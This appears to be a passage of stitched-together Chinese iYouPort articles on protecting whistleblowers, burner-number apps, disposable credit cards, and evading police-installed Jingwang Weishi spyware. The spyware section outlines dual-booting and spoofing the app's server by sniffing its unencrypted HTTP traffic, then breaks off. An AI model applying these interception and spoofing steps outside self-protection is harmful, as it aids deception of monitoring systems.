Assange 和 WikiLeaks 开发的技术使新闻自由基金会能够为记者和媒体组织开发一种类似的工具，允许吹哨平台和消息来源进行匿名交互，以泄露文件。

该工具名为 SecureDrop，目前已被包括《纽约时报》，《华盛顿邮报》，《卫报》和《半岛电视台》在内的几乎所有媒体组织使用。在这里看到网站：https://securedrop.org/

「图」

「图」

一个前车之鉴

(3) 了解所涉及的风险

吹哨人面临非常多的威胁，即便有所谓的 “吹哨人保护法” 也没有意义，因为当权者随时可以将揭露对权势来说具有致命性内幕的吹哨人定位为 “非法活动”，就如您所看到的他们是如何试图瓦解 Wikileaks 的。

这需要不断运动才能推动变革。就如在尼日利亚，保护吹哨人和新闻自由联盟（CWPPF）—— 一个由13个民间社会组织和6个新闻调查室组成的联盟—— 正在领导该国保护吹哨人的运动。

CWPPF 的 Stephanie Adams 说：这场运动的 “目的是通过倡导尼日利亚的吹哨人保护和新闻及互联网自由，对尼日利亚的媒体环境产生积极影响。该联盟的成立也正值吹哨人保护政策成为尼日利亚法律领域讨论的话题之际。”

CWPPF 运行着 Leaks.ng 这个平台，该平台于2018年启动，使吹哨人可以共享机密信息，同时通过数字安全技术保护吹哨人的身份。

Adams 说，“这个工具允许人们通过安全的技术向媒体机构和民间组织发送符合公众利益的信息，以保护信息来源。该系统的设计是为了让公众利用透明度和公民参与，以尽可能高的匿名性分享这些材料。它的目的是建立一个更公平、更民主的社会。”

即使您竭尽全力隐瞒身份，如果您发现自己与高度危险的消息来源一起工作，请与您所在国家的此类组织取得联系，这些组织必须能提供

专业的帮助。

(4) 验证收到的信息

吹哨人给您提供了有价值的信息，但接下来您该如何处理？

记者有一个重要的责任那就是，对任何信息和线索进行核查 —— 通过技术核实、也包括向其他任何可信的消息来源核实信息。在这方面，没有任何借口可言，因为一旦你出错，后果将是巨大的。

在前面的文章中讲到过这点，全世界的当权者都会致力于打击吹哨人及其合作的媒体组织，他们会无所不用其极 —— 这包括故意泄漏虚假的信息，瓦解吹哨的公信力，甚至将其用作政治斗争的工具。

这就是为什么验证成为考验吹哨平台专业性的根本。在下面听 Wikileaks 的故事，这是有中文字幕的版本：

我们的 列表-3 “让它民主” 栏目中收集了很多信息验证的技巧，但如果您接收到的是机密文件（很大程度上是），您需要更多的基本技巧以验证它的真伪，包括比如，对相关机构的了解 —— 他们的文件标准字体是什么？哪些措辞不可能出现在这类文件中？时间线和背景信息是否有矛盾？…… 以及是否可以尝试复原被编辑过的信息？

- 作为提示的冷门技巧《政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南》

只需要不断探索，知识也要不断更新。就如安全措施那样，它是一个持续精进的过程。没有任何一份指南能声称帮您应对一切可能性。

(5) 匿名性并非总是可行的，也不一定一直都是最好的策略

许多吹哨人希望在保持匿名的同时披露其所在单位的阴暗。但是，绝大多数吹哨（据调查超过95%）都试图首先在内部解决问题 —— 就如中文所言 “家丑不能外扬”。

大多数员工相信只要自己向主管、监察人员或通过其他内部机制提出合理的关切，也许就能解决问题。大多数情况下，这些人在努力尝试从内部纠正问题时会花费很长的时间，最终只能挫败。

- 还记得这个故事吗《在斯诺登之前，国家安全局的间谍已经试图从内部煽动变革》其实这种情况非常常见

通常，只有在解决问题的尝试失败、不足、或遭到报复后，员工才决定对外 “吹哨”。

问题就在这里 —— 当吹哨人决定与调查记者合作对外披露信息时，他们的指纹已经在被嵌入该信息上了。

这些信息一经公布，管理层基本立刻就能追溯到吹哨人的身份。

「图」

「图」

曼宁也并非一开始就准备与吹哨平台合作的 – 她希望先从内部解决问题。图片来自 Julian Assange 9月的听证会上证人证词

即使该员工没有首先在内部提出问题，通常也仍然不难追查到身份，因为披露信息的具体性可以用来追溯到员工的工作职责和专业知识。还记得曼宁的故事吗？您可以在我们的专栏 “透明度革命” 中看到很多技巧和经验教训的总结。

作为调查记者，您应该了解这点，并及时充分地对吹哨人讲明其中的危险可能性。

对吹哨人来说，保持匿名也可能不总是最好的策略。例如，如果当权者怀疑到你了，却没有证据证明是你泄漏了信息，他们会用很多其他借口惩罚你、迫害你，而这种情况下你可能很难证明这些迫害是对吹哨的报复。

任何国家的吹哨人保护法律都要求证明其雇主对吹哨行为知情。如果想要使用该法律保护自己，让吹哨人成为新闻报道的焦点，至少可以维护其可行的法律权利。

让吹哨人与盟友团队 —— 包括律师、调查记者、公共利益组织、包括国会中的支持者 —— 联合起来，就可以将焦点放在吹哨人所揭露的不法行为上了，从而使当权者抹黑诋毁吹哨人和记者的努力落空。

同时，在吹哨人周边提供全方位支持，而不仅仅是对吹哨人个人的保护，可以帮助扩大人们对潜在问题的认识，以推动必要的变革。

- 重要内容《超越透明度革命》

但另一方面，公开身份意味着该吹哨人已经无法继续原有的工作，甚

至所有同类职业的工作。这几乎是必然的。也因此，一些吹哨人依旧希望保持匿名。如果消息来源要求匿名，吹哨平台和调查记者就必须努力做到这点。

尤其是请记住，吹哨人是可能做到匿名的，但吹哨平台和调查记者只能是实名的，于是后者将成为当权者首要矛头指向。

作为调查记者和媒体组织，你们很可能受到威胁以胁迫你们透露吹哨人的身份。这点也需要提前告知吹哨人。通过律师促成与外部各方的沟通，也许可以为吹哨人提供一层重要的保护。

最后请注意，保护吹哨人的法律环境是非常复杂的，当权者往往独揽法律解释权；这使得吹哨人、甚至是缺乏吹哨保护经验的律师，都难以评估各种披露策略的风险和收益。

所以，无论是吹哨人还是记者，在发布信息之前都应该咨询具有吹哨专业知识的律师。这样可以确保信息披露的策略有充分的依据，将风险降到最低，将效果最大化。

(6) 信任

记者与机密消息来源之间的关系是神圣的、契约性的。正如最高法院在 Cohen 诉 Cowles 媒体案(1991年)中所描述的那样，消息来源向记者提供信息，以换取保密身份 (记者不透露消息来源的身份)。

结果是，在Cohen案中，两家报纸的记者毁掉了这位被承诺保密的消息来源。Cohen 因此失去了工作，提起诉讼要求赔偿，法院认为 “不能援引第一修正案允许报纸违背保密承诺”。

使这一问题进一步复杂化的是，最高法院还裁定，记者并不比任何人有更大的权利来规避一般法律。这在检验记者特权的存在或程度的案件中得到了体现。在这些案件中，检验的问题是记者是否必须交出资料或在法庭 (通常是大陪审团) 面前就机密资料的来源作证。

如您所见，近年来记者的特权在泄密调查中已经受到考验 —— 政府会不惜余力地追踪吹哨人的身份。想想 Edward Snowden、Chelsea Manning 或 Reality Winner，他们由于向记者传递机密信息付出了如何惨重的代价。

记者在处理机密信息时也处于潜在的危险境地。我们的列表-5中有 “Wikileaks” 板块，您可以看到吹哨平台面临的风险，这一镇压历经

10年。

再比如纽约时报的 Judith Miller，因为拒绝透露消息来源的身份而被判藐视法庭，被关进监狱85天。

对于吹哨人如何找到记者、记者如何与吹哨人互动，并没有一个通用的公式（也不能有，任何公式都将被镇压反制）。记者有义务寻求和报道真相。他们还有义务保护自己的消息来源，尤其是吹哨人。

在数字时代，可以轻松地监视电子邮件和电话通信。员工对与工作场所沟通有关的隐私的期望值非常低，甚至完全没有期望。他们甚至不必传唤记者就能轻松确定消息来源的身份。

- 具体见《你的老板可能是比 Facebook、谷歌更大的老大哥》

所以，作为调查记者，必须采取预防措施以确保消息来源被遮盖或受到保护。有一部电影《总统班底 All the President's Men》，其中华盛顿邮报记者 Bob Woodward 在阴暗的地下停车场里和深喉会面。当下的调查记者要做好回到这种状态的准备。

一些吹哨人也会对自己所面临的风险有清醒的认识，可能会在记者与吹哨人的关系中规定自己的保障措施。这可能意味着不使用电子邮件、关闭手机位置服务、完全避免电话联系、以及采用加密技术。这也可能意味着面对面的会面或只交换纸质材料的硬拷贝。还可能需要了解这种关系以及记录在案或不记录在案的含义。

- 这份指南中的一些解释也适用于吹哨人合作关系《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》

正如政府问责计划（ Government Accountability Project ）给出的指南中强调的：吹哨人和记者之间关系的基础就是 *信任、信任、信任*，双方都有责任捍卫这一基础。“与吹哨人一起工作的记者应该意识到，任何基于机密信息的报道都可能导致吹哨人受到起诉。报复的可能性非常高，甚至通常可以根据工作机会或工作职责来追踪匿名举报人。”

(7) 原则

这里总结的原则可能并不周全，这方面也无法做到周全，您需要根据自己面临的状况作出补充。

1、在披露吹哨人身份的详细信息之前，请考虑披露该信息的价值是否大于吹哨人和其他人可能面临的危害。

2、不要专注于吹哨人为什么要挺身而出，不要过多分析动机问题，您的注意力应该放在信息验证上；只要信息为真，并对公共利益具有明显的价值，那就应该披露它。

3、了解吹哨人和“泄密者”之间的区别。吹哨人是为了公共利益而服务的，由于该信息被隐瞒而损伤了公共利益、对民主构成危险，因此需要披露它。而泄密者可以具有私人动机、私人利益。调查记者的合作伙伴应该是前者而不是后者。

4、对数字防御和使用加密负责。即使加密可能无法完全保护您的消息来源，但它至少提供了重要的一线保护。

5、确定对您和您的消息来源造成的最大威胁是什么，以及需要采取哪些具体步骤来保护你们双方。此处应该采取的是 “敌对环境” 中的防御技巧，在下面回顾：

- 《来自人身的威胁：如何在敌对环境中保护自己（1）》
- 《最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2）》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》
- 《为最坏的情况做准备，迎接最好的结果：在敌对环境中保护自己（4）》

6、对吹哨人解释风险；在敏感的报道上，培训吹哨人基本数字安全性。

7、在可能且安全的情况下，完整发布原始文档和数据集，同时要认识到故事中数据集的重要性。在吹哨人要求的情况下安全地删除部分数据以保护被涉及其中的无辜者。

8、鼓励新闻出版商履行其职责，为新闻工作者、消息来源和存储的资料提供足够的数据安全，并提供适当的培训和政策以指导曝光工作。

本网提供的数字安全技术和建议从普通到高级，对于吹哨人和吹哨平台来说都是应该最基本掌握的。技术虽然并非万能，但做到这些基本措施是为必需。

本文中所指的“记者”和“媒体”均为公民记者和独立媒体。大多数情况

下您无法依赖职业媒体协助曝光；您揭露的信息越是重要，就越是如此。〇

原文

4款最佳一次性手机号码应用：适用 Android & iPhone - iYouPort

护盾（AS）自我保护措施-技术技巧以防身

真实电话号码是非常危险的，能挖出一大堆有关您的私密信息。我们曾经演示过如何做这件事。随着越来越多的应用和订阅需要您的电话号码，隐私被剥夺的危机已经非常深刻。这种情况下怎么办？

本文提供一些解决方案，您可以选择适合自己的。尤其是，⚠如果您的手机屏幕被偷窥了、或者更糟糕的是手机被警察抢走了，您也能隐藏自己的数据、以及您正在隐藏的事实。

「图」

「图」

一次性手机号码不仅仅适合犯罪分子或者婚内出轨，也适合您这样的希望避免被专制政权和犯罪分子骚扰的任何人。

在这个数字世界中，我们的许多互动都是在线进行的，一次性电话号码就像一个缓冲区 —— 它可以让您在不必提供个人信息（如真实姓名或电话号码）的情况下享受网络。

在这里看到电话号码有多可怕《如果只知道一个电话号码，你能挖出多少有效信息？》

使用一次性手机号码应用程序，您可以创建临时号码，这些号码不易追溯到您本人。

与您的真实号码不同，一次性电话应用程序不会在来电显示上显示出您的姓名，并且可以随时删除。

在两个应用程序商店中测试了几个应用程序之后，发现有四个应用程序是最好的，可以提供基本要素和工具来增强体验。

目录：

- **Chart**
- **Chart key**
- **Methodology**
- **App 1: Hushed**
- **App 2: Burner**
- **App 3: Cover Me**
- **App 4: TextMe Up**

关键比较点

Play 商店和 App Store 上有许多应用程序可以让您创建第二个号码，但大多数都不能很好地模拟一次性电话。

真实世界中的一次性电话通常是一次性预付费电话，人们可以暂时使用并最终在被追踪号码时处理掉。

具有同样功能的应用程序应该在其他方案中保持您的通信私密性，例如管理多个身份角色（见这里《角色扮演技巧》）。

比较一下：

「图」

「图」

Image by Jon Knight/Gadget Hacks

功能列表：最便宜的预付计划：您可以选择最低价格购买，功能包括电话和短信。

无限计划：呼叫或短信不受限制。

高级功能价格：激活应用中其他功能的成本，例如移除广告或激活语音邮件。其他费用标准无法提供的功能。

免费试用：为新用户提供的免费试用期。

图片消息：应用程序支持MMS，允许用户从其一次性号码发送图片消息。

提醒：能够为之前收到的通知创建新提醒，以提醒您稍后处理该消息。

请勿打扰：该应用程序包含自己的“请勿打扰”模式，允许您禁用涉及一次性号码的通知和呼叫。

呼叫时长：默认情况下，应用程序的呼叫将使用您的运营商号码的分钟数。

通过运营商号码路由呼叫：当在数据接收较差的区域（LTE或Wi-Fi信号较差）时，可以通过您的运营商号码路由呼叫。不过请注意。这将导致您的电话帐单上显示您的一次性手机号。

语音邮件：该应用程序支持单独的语音邮件，用于涉及第二个号码的呼叫。

第三方应用程序集成：允许用户将其他帐户链接到该号码，以添加新功能并控制涉及一次性号码的通信。集成的一些示例包括将语音邮件保存到 Dropbox 并使用 Slack 发送和接收文本消息。

语音控制：使用Siri等语音助手管理一次性号码的功能。

视频通话：您可以使用这个号码进行视频通话。只有 TextMe Up 包含此功能，但它需要通话双方都使用该应用程序。

呼叫转移：将呼叫重定向到您选择的其他号码的能力。这对于多个一次性号码来说非常有用，因为您可以将每个号码的呼叫定向到一个号码，从而使其更易于管理。

接受比特币：可以使用比特币进行应用内购买，例如预付费计划。虽然不是完全匿名的，但多数情况下不容易被追踪。

匿名注册：可以在不使用您的电话号码或电子邮件地址的情况下创建帐户。

加密消息：该应用程序支持其用户之间的端到端加密消息。

自毁消息：在此应用程序的用户之间进行传递的消息可以设置定时器。届时消息将从所有设备中删除。

🌜能够伪装应用程序：该应用程序具有内置功能，允许它掩盖其在您的设备上的外观。 **CoverMe** 是本列表中唯一具有此功能的应用程

序，它允许用户将应用程序的外观更改为新闻阅读器。

内置应用程序锁定：应用程序中包含创建PIN或密码以锁定未经授权的用户的功能。此外，所有应用程序都支持Touch ID以方便使用。

「图」

「图」

方法

虽然许多应用程序可以提供第二个电话号码，但本文只选择提供难以追溯到您的临时号码的应用程序。

传统的一次性手机可以抛弃，于是追求应用程序能够像创建它们一样轻松彻底的抛弃。

由于一次性电话的多功能性，您可能需要多个临时号码用于不同的活动。因此，每个应用程序必须能够同时支持多个号码。

由于操作系统之间的差异很小，我们只查找支持Android和iOS的应用程序。

每个操作系统的限制对应用程序的性能影响不大，因此本列表仅包含支持两种主要操作系统的应用程序。

也许很多人都知道 Google Voice；虽然该软件的确有此功能，但它并不是用于此目的的最佳应用程序。

具体来说，它一次仅限于两个号码，并且运营成本比较高（30美元），与本文列表中的其他应用相比，这是一个糟糕的选择。

1、Hushed

如果您正在寻找能够提供完整一次性号码体验的应用程序，那么 Hushed 就是您的最佳选择。

虽然它没有本列表中其他应用程序那么多的功能，但它确实提供了隐私、低廉价格和干净界面的最佳组合。

- **Install Hushed: Android | iOS**

「图」

「图」

Hushed 不会在您的电话账单上留下任何通话记录，包括提及您的 Hushed 号码和发送的任何短信。

Hushed 通过使用 VoIP 来实现这一点，VoIP 通过网络管理通信。对于那些试图隐藏联系关系的人来说，这很重要。

「图」

「图」

Hushed 是本列表中唯一接受比特币的应用程序，可以匿名使用。虽然仍然可以追踪，但是相比信用卡来说，完全可以加一层厚厚的保护。

其中一个更令人印象深刻的功能是 Hushed Messenger。

Hushed Messenger 是一个消息传递应用程序，允许 Hushed 用户之间的免费安全消息传递。

使用 Virgin Security 的 Perfect Forward Secrecy 对消息进行端对端加密。

但是，与许多其他消息传递应用程序不同，您的帐户不依赖于电子邮件地址或电话号码。

相反，用户创建一个唯一的私人身份号码（**PIN**），然后用于开启对话。

您可以根据需要创建任意数量的帐户。一旦您不再需要该帐户就可以轻松放弃它。

「图」

「图」

来自非 Hushed 用户的消息以及 Hushed 用户之间的私人消息传递支持图片消息。但是，只有后者支持自毁消息。

定时消息（如 Hushed 所称）会在计时器到期后擦除消息的所有痕

迹。

消息计时器在您发送后立即开始，允许在被查看之前删除已发送的消息。

为了获得额外的隐私，iOS用户可以启用“本机呼叫应答”。这将更改来自您的一次性号码的来电外观，以匹配传统来电。这样，如果有人看到您的手机，他们也不会意识到您有第二个号码。

Hushed 在本列表中虽然不是功能最多或最安全的，但它确实提供了最佳的功能组合。

计划起价为1.99美元，无限制计划每月只需3.99美元，并且能够不在电话账单上留下任何痕迹的情况下拨打电话。

「图」

「图」

2、Burner

Burner 可能是本列表中第二个最受欢迎的应用程序，它提供了许多附加功能来增强体验。

虽然与其他应用程序（例如Hushed）相比，它的隐私功能有限，但还是相比下很出色的一款。

- **Install Burner:** "Android" | "iOS"

「图」

「图」

Burner 提供第三方集成，虽然 Hushed 也提供，但它的名单远没有 Burner 那么广泛。

这些集成包括连接您的 Slack 帐户以查看和回复涉及您的一次性号码的文本消息，将语音邮件保存到 Dropbox 或 SoundCloud，以及使用 Evernote 创建SMS自动回复机器人。

有八种不同的服务可以集成到 Burner 中，每种服务都提供更多独特的功能。

「图」

「图」

Burner是唯一一款包含提醒功能的应用，可让您为之前查看的通知设置提醒。这样，您可以在以后有机会处理它们。

此外，Burner还允许您专门为涉及其号码的呼叫设置“请勿打扰”模式，以防止任何响铃或通知出现在您的设备上。

对于iOS，通过隐藏来自 Spotlight 搜索的 Burner 联系人和消息，可以更进一步提升体验。

「图」

「图」

对于 Android，可以使用VoIP呼叫。此功能仍处于iOS版的测试阶段，因此只有少数用户可以访问。

您的活动不会显示在手机账单上。

但是，如果没有启用此功能所有通话都会显示在您的电话帐单上。

无限制计划起价为每月4.99美元，是第二低的价格。为了帮助您做出决定，Burner 提供最长七天的免费试用。

虽然它缺乏一些安全的消息传递功能，但其长长的应用程序集成列表、Siri 管理的功能以及其他独特的功能，值得选择。

「图」

「图」

3、CoverMe

CoverMe 是那些想要最安全功能的人的最佳选择。

CoverMe 包含一些工具来隐藏周围人的通信，包括伪装应用程序的能力。

- **Install CoverMe:** "Android" | "iOS"

「图」

「图」

CoverMe 可以将自己伪装成新闻阅读器。启用后，应用程序会将其图标更改为 **CMN News**（**Android**）或 **MNN Pro**（**iOS**）。

并且，这种隐藏比简单的图标更改要聪明得多。

当应用程序打开时，它将显示为新闻阅读器，列出您可以阅读的文章。即使是消息通知也会显示为突发新闻，掩盖其真实身份。

默认情况下，应用程序会要求您创建PIN码以阻止未经授权的用户。可以伪装此锁定屏幕以令其显示为照片查看器。

与新闻阅读器伪装一样，激活只需在应用程序状态下摇动您的手机，这就能在您发觉身后有人偷窥时快速隐藏应用程序。

还有一项称为魔法通知的功能。

也就是说，您可以将所有传入的消息修改为适当的替代文本，而不是实际的消息，从而隐藏对话的内容。

例如，您可以将来自朋友的所有邮件显示为“早上好！”

「图」

「图」

CoverMe 还包括一个完全加密和隐藏的私人**Vault**。只有当您使用真实密码登录时，您才能看到其内容。

💡您还可以创建一个诱饵密码来欺骗想要获取访问权限的个人。

诱饵密码会将闯入者导航到另一个 Vault，您可以随意填充任何内容（包括什么都不填），同时保证真实数据的安全。

⚠这对于被警察强行抢走手机的危险来说非常有用。

您的 vault 可以管理许多不同的项目，包括其他形式的媒体，但存储空间有限（请参阅下面的屏幕截图）。但是，高级版提供无限存储空间。

对于5.99美元的一次性费用，您不仅可以获得无限存储空间，而且还可以访问所有前面提到的功能（以及其他一些功能，例如呼叫筛选和单独的语音邮件）。

还有一个“无限制”的计划，但它仅限于短信，因为通话时间仍然限制在3,000分钟之内。

「图」

「图」

CoverMe 还包含一个防盗功能，可以拍摄未经授权的用户尝试登录应用程序的情况。如果当有人试图未经请求访问您的帐户，它会向您的电子邮件发送一张图片以提醒您。

与其他 CoverMe 用户通信时还可以使用安全的端到端加密消息传递，并包含自毁消息等功能。

收件人打开邮件后10秒钟开始计时。虽然仍然可以截屏，但 CoverMe 可以防止重新发送或转发消息。

「图」

「图」

CoverMe 最大的弱点是它的价格。定价从7.99美元起，比本列表中的其他应用程序都贵。

无限制的计划也更贵，每年99.99美元。此外，高级功能的额外成本使首次使用非常昂贵。

但是，无需说它的隐秘效果真的很棒。对于那些需要隐藏的人来说它是物有所值的。

尤其是你如果感觉自己的手机有可能会被警方查抄的话。

4、TextMe Up

TextMe Up 是基本必需品级别的。

它缺少本列表中其他应用程序拥有的功能。但是不耽误办事儿。

- **Install TextMe Up:** "Android" | "iOS"

「图」

「图」

TextMe Up 是本列表中唯一一个允许您免费获得一个号码的应用程序。其他号码需要订阅。

订阅是电话号码到期之前可用的时间长度。您可以购买一周到一年的订阅。

甚至可以选择无限制使用，还包括其他高级功能，如美国和加拿大的免费通话，以及呼叫转移。

订阅不包括拨打电话和发送短信所需的积分。

通过观看视频和观看广告可以赚取积分。对 TextMe Up 用户（或 TextMe 管理的其他应用程序）的任何呼叫都是免费的。

使用范围比较大，为200多个国家/地区提供呼叫和短信服务。

「图」

「图」

TextMe Up 是本列表中唯一包含应用内广告的。但是，广告可以以每月4.99美元的价格删除，这个费用同时可以访问高级版本。

高级版还包括美国和加拿大的无限通话和短信，以及其他一些独家功能。

「图」

「图」

TextMe Up 是唯一提供视频通话的应用，但它要求通话双方都是 **TextMe Up** 用户。

总之，如果您愿意接受免费获得积分所需的步骤，它是个好的选择。

结论

由于互联网上存在的各种危险，通过限制在网络上共享的个人信息来

保护自己的数据至关重要。

随着太多应用想要你的电话号码，投资一次性电话变得越来越值得。

使用上述应用程序您可以快速创建一次性号码，同时保护您的运营商号码。这不仅可以保护您的数据，还可以提供受保护的通信线路，可以随时抛弃。

虽然本列表中的每个应用程序都能很好地管理临时号码，但其中 Hushed 是最佳选择。

它价格低廉，功能齐全且安全，让您可以谨慎地开展业务。

无论您是在线销售、管理多家公司、参与敏感的社运动员、还是与多人约炮，您都可以相信 Hushed 拥有维护每一条沟通渠道的所有工具。〇

原文

5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息 - iyouport

护盾（AS）自我保护措施-技术技巧以防身

【2020年4月8日存档】包括它们是什么、以及它们如何工作。

您是个精明的购物者，非常清楚网络上潜伏的危险，对吗？

这就是为什么您只会在安全的网站上购物 —— 如果不是 https，你就不掏钱，对吧？

那么，为什么不通过使用一次性的信用卡号使安全更进一步呢？对此不熟悉吗？本文将带您浏览一下这方面哪些服务是可信的。

一次性信用卡如何工作？

听起来像是在间谍电影中找到的东西，还有一次性电话和代号。不要怕，可以保证一次性信用卡是合法的，只要您从信誉良好的来源获得即可。

一次性信用卡（也称为虚拟卡）采取您一次使用后就可以扔掉的临时号码。您可以通过某些金融机构和应用程序获得。

目的是在发生数据泄露时掩盖您的真实信用卡详细信息。数据泄露基本无法避免，只能防备，以将损失降至最低。

这些交易不会透露您的真实信用卡详细信息，从而提供了额外的保护屏障。

这类似于我们之前讨论的虚拟借记卡服务。您可以在下面回顾：

- 《3种最佳虚拟借记卡服务：支付中隐藏真实身份》

临时号码已链接到您的信用卡，并在使用时从您的帐户中提取资金。

然后，下次需要购物时，您将获得另一个一次性使用的信用卡号，上一个号码就没了。

那么，您如何获得安全的伪装信用卡？以下是可以选择的。

Revolut

如果您当前的银行不提供一次性信用卡，那么您可以使用 Revolut 之类的应用。您要做的就是：

- 在 Revolut 开设账户
- 下载该应用程序
- 选择 “cards” 部分
- 点击“添加新卡”，然后点击“虚拟”卡
- 向右滑动至“一次性虚拟卡”
- 点击粉色按钮

现在，一切顺利，您已经可以在接受万事达卡的任何企业进行购买。您可以在每次要获取新的虚拟卡号时执行此操作。

值得一提的是有不同级别的用户。您需要成为高级会员才能访问一次性虚拟卡，该虚拟卡的每月费用为10美元。此外，您每天最多可以使用您的一次性卡号五次。

「图」

ecoPayz

如果您正在寻找可以使用其他货币付款的虚拟卡，那么您应该查看 ecoPayz。

使用此虚拟卡，您可以以欧元、英镑和美元购买产品和服务。

如果您选择非本土货币，您的安全性就会更加深入 —— 其逻辑就如我们在操作安全技巧中强调的，设置系统时请选择您熟悉的外语，绕开母语。

操作与 Revolut 一样，您可以通过登录帐户并选择 “ecoVirtualcard” 来获取虚拟卡。

然后，您就可以在任何接受 Visa 的商店开始在线购物了。只能使用一次，之后该号码将被取消，因此不会被盗或滥用。

要获得虚拟卡的资格，您首先必须注册 Silver ecoAccount。需要1.80欧元，目前在美国不可用。但是，它可以在美国之外的**173**个其他国家/地区使用，包括整个欧洲的许多国家/地区。

NetSpend

NetSpend 的处理方式略有不同 —— 它使您最多可以为在线和移动交易中生成六个临时的虚拟信用卡号。

当然，您可以随时取消该号码，因此，如果您打算仅使用一次，那么用后取消它就行了。

一些帐户持有人使用它来支付试用订阅费用。这样可以在收费之前取消该号码。否则，帐户持有人可以添加其永久的 NetSpend 预付卡号。

- 《如何穿越付费墙：12个省钱大法》

您可以在他们的月度计划或即付即用计划之间进行选择。如果您升级到其 Premier 帐户，则可以将每月费用减少近50%。

还提供免费计划。您可以在接受 Visa 的任何地方使用该虚拟卡。

Citi Cards

使用 Citi Cards，您将有资格生成虚拟信用卡号。并非所有花旗卡都提供这些功能，因此您必须进行检查。

您可以通过登录并检查您的卡权益来做到这一点。请注意：您使用虚拟卡进行的任何交易都会像其他购买交易一样显示在您的帐户中。

此外，您可以为虚拟号码设置美元限额和有效期。每当您准备关闭虚拟帐户时，都可以使用 Citi 的工具（可以将其下载到PC上）进行关闭。

Capital One Eno

已经获得 Capital 了？然后，您可以使用 Capital One的助手（Eno）生成虚拟卡号。

您可以通过下载浏览器扩展程序来访问它，该扩展程序在 Mozilla Firefox，Google Chrome 和 Microsoft Edge 上都可用。

只需点击浏览器上的扩展程序按钮，即可生成虚拟卡。浏览器扩展程序还使您可以访问 Capital One 的网站。在这里，您可以查看、删除和锁定您的虚拟帐号。

Eno 的优点是您可以即时生成虚拟号码，在结账时随手生成。快速而无缝 —— 正是消费者更喜欢的在线购物体验。

就算您没有 Capital One 卡，也没关系，Eno 可用于其他 Capital 卡，例如 Venture Rewards 卡和 QuicksilverOne Rewards 卡。

使用一次性虚拟信用卡更安全地购物

这里只是当前的一次性虚拟卡提供商的简短列表。随着这种方式的普及，您完全可以期望这个市场会扩大。

对于精明的消费者而言，这是个好消息，就如您，希望对自己的财务帐户的安全性有更多的控制。

因此，如果您准备好开始保护自己的财务详细信息了，请尝试这些信誉良好的公司。你喜欢哪一个？〇

原文

AS1 如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？ - iyouport

护盾（AS）

【2018年10月25日存档】当警察在你的手机上强行安装应用，你怎么做才能最小化被监视的影响？毫无疑问，卸载并不会完全解决这个问题，因为警察随时可能抽查你的手机然后再次安装间谍软件，所以理想化的情况是让间谍软件能“正常工作”，但不会真正监视到你…

那种叫“净网卫士 Jingwang Weishi ”的间谍软件会记录有关其安装设备的一切信息，包括 IMEI、手机型号和制造商以及电话号码。该应用程序可以在手机中搜索图像，视频，录音和文件[…]

拒绝安装很可能反而令你立刻成为当局关注的重点目标，甚至会因此被拘留（都说不定）；再买一部手机的想法也许有用，但很多人做不到，即便做到也很容易被再次查到。所以这些方法都不是太靠谱。

那么怎么办？也许还有以下这些选择，看看哪一个适合你。请注意，都有不同程度的风险。

1. 虚拟机/双启动

“双启动”Android 手机有一些选项。如果您可以让手机进行双启动，那么您可以在一个 ROM 上安装当局要求的监视软件，然后在另一个 ROM 上放置所有个人资料。您可能需要在安装了跟踪应用程序的 ROM 上放置一些基本信息，一些闲杂的信息，比如游戏什么的，你认为不敏感的东西，这样就不会引发监视者太多的警惕。

你需要保持不敏感的 ROM 几乎一直在运行，仅在您真正需要时才在安全的 ROM 上启动。

您还需要保持安全的心态，了解您正在使用的 ROM 是哪一个以及您可以创建或访问的内容是什么。这是非常重要的，也是最有可能失败

的要点。建议在每个 **ROM** 上使用不同的键盘，或者使用不同的操作系统语言设置，都是有好处的：例如，中文用于不敏感的，英语用于安全的。

当然，这样做仍然存在风险：他们可能会重新启动您的手机并注意到这些；他们可能会发现您在监视软件的系统旁边安装了完全不同的系统；以及误操作问题，你需要时刻记得自己正在哪个 ROM 里。

2. 应用程序修改/拦截器

如果这个用于监视的应用程序引起了足够多的新闻报道，那么反跟踪应用程序或此应用程序的黑客版本可能会开始出现，试图自动保护您免受攻击。

但是很难期待有任何能立刻拿来使用的通用工具可以保护你免受监视的影响，因此只能通过大量的搜索或者找到（如果有的话）合适的人帮忙。这里有一个很大的缺点，除非你自己就是逆向工程方面的专家，否则很难做到这点。而且还很难估计发现的风险是什么。

3. 服务器欺骗

根据您自己的技术知识水平，可以考虑自己组合一些东西（注意：这不适合初学者）。以下尝试总结一些有关服务器欺骗措施的信息。

内置安全性

首先，我们需要了解这个间谍应用程序如何保护自己。从迄今为止的所有可用信息来看，答案是“它没有保护性措施”。这是一个非常简单的结论，因为该应用程序只通过 http 进行通信。

拦截 http 请求非常容易，无论是来自设备本身（如果您的手机已 root），还是在与设备连接到同一网络的计算机上使用网络嗅探工具。最有可能的是，很容易弄清楚应用程序如何通过终端服务器验证自身以及终端服务器如何使用应用程序验证自身。

很可能在任一方向都没有认证，这意味着任何方向的欺骗请求都很容易。这可能很难让人相信（考虑到像中国这样的国家将大量资源留给这样的侵入式技术），但实际情况是，如果开发此应用程序的人想要保护它免受外部篡改，那么使用 HTTPS 进行传输应该是首选。它便宜，简单，非常有效。缺乏 HTTPS 意味着它很可能在这个生态系统中没有实际的安全性，这对任何试图逃避它的人来说都是加分项。

嗅探来自此应用程序的所有流量，以确定它产生的请求/响应

这是第一步。通过观察离开此应用程序的流量（由于没有 SSL 加密，可以很容易地在网络中截获），您可以确定它向目标服务器发送的请求以及它预期返回的响应。了解底层 API 至关重要，由于缺少加密因此很容易得到。如果在任一方向上发生任何身份验证，也会让您知道。如果有，您至少可以看到完整的请求和响应，因此您很可能可以弄清楚如何欺骗它。

有可能存在一些难以逆向工程的认证来回反复，但同样，由于缺乏基本加密，我怀疑是否存在任何这样的东西被内置。

弄清楚该应用程序是否正在与域名或 **IP** 地址通信

